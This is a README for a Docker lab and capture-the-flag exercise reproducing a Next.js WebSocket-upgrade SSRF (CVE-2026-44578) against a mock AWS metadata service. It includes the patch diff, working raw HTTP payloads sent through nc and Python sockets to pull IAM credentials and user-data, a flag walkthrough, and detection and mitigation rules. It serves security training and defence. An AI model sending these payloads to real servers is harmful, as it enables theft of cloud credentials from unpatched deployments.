
Este laboratorio puede estar bien o mal, está en pruebas, pero debería funcionar. Pregúntale a la IA, jajaja.
| Поле | Значение |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Тип | SSRF (CWE-918) |
| Затронутые версии | Next.js 13.4.13 – 15.5.15 и 16.0.0 – 16.2.4 |
| Исправленные версии | 15.5.16 и 16.2.5 |
| Аутентификация | не требуется |
| Взаимодействие с пользователем | не требуется |
Атакующий (host: 0.0.0.0)
│ HTTP :3000 (публичный)
▼
┌──────────────────────────┐ одно сетевое пространство ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (учётные данные, │
│ (встроенный сервер Node) │ │ user-data, индекс) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (порт 3000): уязвимое приложение, доступное на 0.0.0.0:3000.imds-sidecar: имитация metadata-сервиса AWS, работающая на
localhost:80 внутри namespace контейнера Next.js, моделирующая
реальный облачный инстанс. Недоступна с хоста напрямую
(порт не опубликован). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # PoC автоматизированный (5 probes)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + секретные маршруты
└── nextjs-app/ # Реалистичное приложение "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (уязвимая)
Обработчик upgrade WebSocket в router-server.ts вызывает proxyRequest(),
когда в разобранном URI есть parsedUrl.protocol, без проверки флагов
finished и statusCode, которые обычный HTTP-обработчик всегда устанавливал:
// уязвимо (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// патч (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
Вектор атаки использует request line с абсолютным URI с двойным слэшем:
GET http:///path. normalizeRepeatedSlashes схлопывает http:/// в http:/,
в результате чего hostname отсутствует, и http-proxy подключается к localhost:80
с нетронутым path:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Наличие заголовков Connection: Upgrade + Upgrade: websocket приводит к тому,
что запрос попадает в уязвимый обработчик upgrade вместо HTTP-обработчика
с проверками безопасности.
docker compose up -d --build
Проверка, что приложение отвечает:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
Для работы на 0.0.0.0 маппинг портов в
docker-compose.yml уже открывает 3000:3000 на всех интерфейсах.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
Полный 100 % ручной процесс в 4 фазах. Во внутреннем сервисе (localhost:80)
скрыто 4 флага; это руководство показывает путь до первого
и оставляет маршруты для поиска остальных.
# Фингерпринт сервера
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# Открытые порты через сокет (без nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
Прямого доступа к 127.0.0.1:80 у атакующего нет: единственный вектор —
заставить сервер Next.js (который находится в той же сети, что и внутренний
сервис) сделать запрос за нас.
Сначала подтверждаем SSRF, запросив индекс metadata-сервиса:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Ответ индекса → кандидаты: instance-id, hostname,
iam/security-credentials/, user-data (первый флаг). Индекс
latest/meta-data/ также раскрывает под-ключи, которые стоит продолжить исследовать.
GET http:///latest/user-data HTTP/1.1
| Часть | Функция |
|---|---|
GET | Уязвимость проксирует только GET |
http:///latest/user-data | Абсолютный URI. http:/// схлопывается в http:/ → hostname null → прокси подключается к localhost:80, сохраняя path /latest/user-data |
Host: 127.0.0.1:3000 | Иначе сервер отвечает 400 |
Connection: Upgrade + Upgrade: websocket | Направляют запрос в уязвимый обработчик upgrade (обычный HTTP-обработчик проверки выполняет) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | Минимальные заголовки, требуемые в легитимном handshake |
Завершение: \r\n\r\n в raw-сокете (без тела).
# Вариант A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# Вариант B: raw-сокет на Python (та же точность, без nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
Вывод — первый флаг приходит в теле ответа внутреннего сервиса:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
Флаг 1/4 получен. Заголовок server: BaseHTTP/0.6 ... (Python mock)
подтверждает, что запрос прошёл Атакующий → Next.js → localhost:80, то есть
флаг был выкраден из внутренней сети через SSRF. Остальные 3 разбросаны
по маршрутам metadata-сервиса и внутреннего сервиса — индекс
latest/meta-data/ — ваша карта. Найдите остальные.
Fake IMDS (localhost:80) моделирует реальный metadata-сервис AWS: это
навигируемое дерево. Каждый каталог (заканчивается на /) отвечает индексом
своих под-маршрутов; запрос каталога без / возвращает redirect 301. Скрытых
маршрутов нет: ни один флаг не требует угадывания — всё обнаруживается
навигацией по индексам.
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → скрипт загрузки (указывает на internal/config)
| Маршрут | Содержимое |
|---|---|
latest/meta-data/ | Индекс metadata (строка выше) |
latest/meta-data/iam/security-credentials/ | Роль lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | JSON с AccessKeyId, SecretAccessKey и Token |
latest/user-data | Скрипт загрузки с учётными данными БД |
latest/dynamic/instance-identity/document | JSON идентичности инстанса |
internal/config | Конфиг внутреннего сервиса (БД, API key) — упоминается в user-data |
CTF-задача: есть 4 флага, и каждый — реальный артефакт из цепочки эксплуатации SSRF против AWS: (1) user-data загрузки, (2) учётные данные IAM, (3) identity document, (4) конфиг внутреннего сервиса. Их значения не опубликованы. Навигируйте по индексам (
/→latest/→ …) и следуйте от баннера к баннеру; скрипт user-data подскажет, где находится четвёртый. Угадывать маршруты не нужно: 404 лишь выдаёт, что вы выдумываете несуществующий path.
Полная версия с цепочкой флаг→флаг в отдельном документе: SOLUCION.md (каждый флаг даёт подсказку к следующему, вне этого README).
Правило: у каждого флага есть подсказка, препятствие и решение. Сначала попробуйте по подсказке; используйте препятствие, когда застряли. Скрытых маршрутов нет: никто не обманывает, всё навигируется.
Два предупреждения перед началом:
ssrf() уже готов в SOLUCION.md →
Подготовка: скопируйте и используйте его для остальной части руководства.
Отправляет запрос GET http:///<path> с Connection: Upgrade + Upgrade: websocket.RkxBR3… (base64 от FLAG{…}). Расшифруйте их:
echo <blob> | base64 -d./latest/user-data? Это первое, что
проверяет любой атакующий в AWS./ в конце.
ssrf latest/meta-data даёт 301 Moved Permanently и Location: latest/meta-data/. = "Следуй за мной". В nc нет автоматического перехода:
повторите запрос со слэшем.ssrf latest/user-data
В теле: скрипт загрузки с DB_PASS=… (Флаг 1 находится внутри),
и строка curl -s http://internal/config, которая является картой Флага 4.
latest/meta-data/iam/security-credentials/ и запросите роль,
которая появится.Token — не заполнитель): 200 возвращает длинный JSON.
AccessKeyId/SecretAccessKey бросаются в глаза; Флага 2 там нет:
поле Token — одна строка base64. Расшифруйте её.ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/ — не единственное дерево. Посмотрите корневой
индекс: там есть dynamic/, который почти никто не открывает.dynamic/ → instance-identity/ →
document. Три ступени; на каждой ваш ssrf должен заканчиваться на /
(кроме document). Люди теряются, не повторяя запрос после 301.ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
JSON идентичности включает ключ FLAG с Флагом 3 (в base64).
Если ваша серия команд вернула 301 на второй ступени — вспомните урок
Препятствия 1.
curl -s http://internal/config.internal не
резолвится. "internal" — алиас на стороне сервера, не ваш. Вы не меняете
host: SSRF всегда приземляется на localhost:80; вы выбираете только path.ssrf internal/config
Проверка всех 4 (blob base64 → декодировано):
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4 флага в руках. Если какой-то не даёт FLAG{...}, вы знаете: проверьте
curl из user-data (препятствие Флага 4) или / в индексах (препятствие Флага 1).
Ручное использование, например учётные данные IAM:
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Ожидаемый результат — ответ приходит с server: BaseHTTP/0.6 Python/3.12.x
(mock), не с баннером Next.js, что доказывает: запрос был сделан сервером
к localhost:80:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
PoC проверяет SSRF, но цензурирует флаги: base64-blob'ы
FLAG{...} и открытые FLAG{...} отображаются как зацензурированный текст.
Значения получаются только ручным исследованием (раздел CTF выше).
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrado: explotacion manual) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (flag cifrado: explotacion manual) ***
http:///).Upgrade: websocket с 400).Чтобы подтвердить, что патч (Next.js ≥ 15.5.16) блокирует атаку, измените
версию в nextjs-app/package.json на 15.5.16, пересоберите и повторно выполните
тот же payload: соединение закроется без возврата данных.
Сигнатуры в логах процесса Next.js:
Failed to proxy http:/ — прокси сработал, но цель была недостижима.http: вместе с
заголовками Connection: Upgrade / Upgrade: websocket.HttpTokens=required) в AWS.if ($request_uri ~* "^https?://") { return 400; }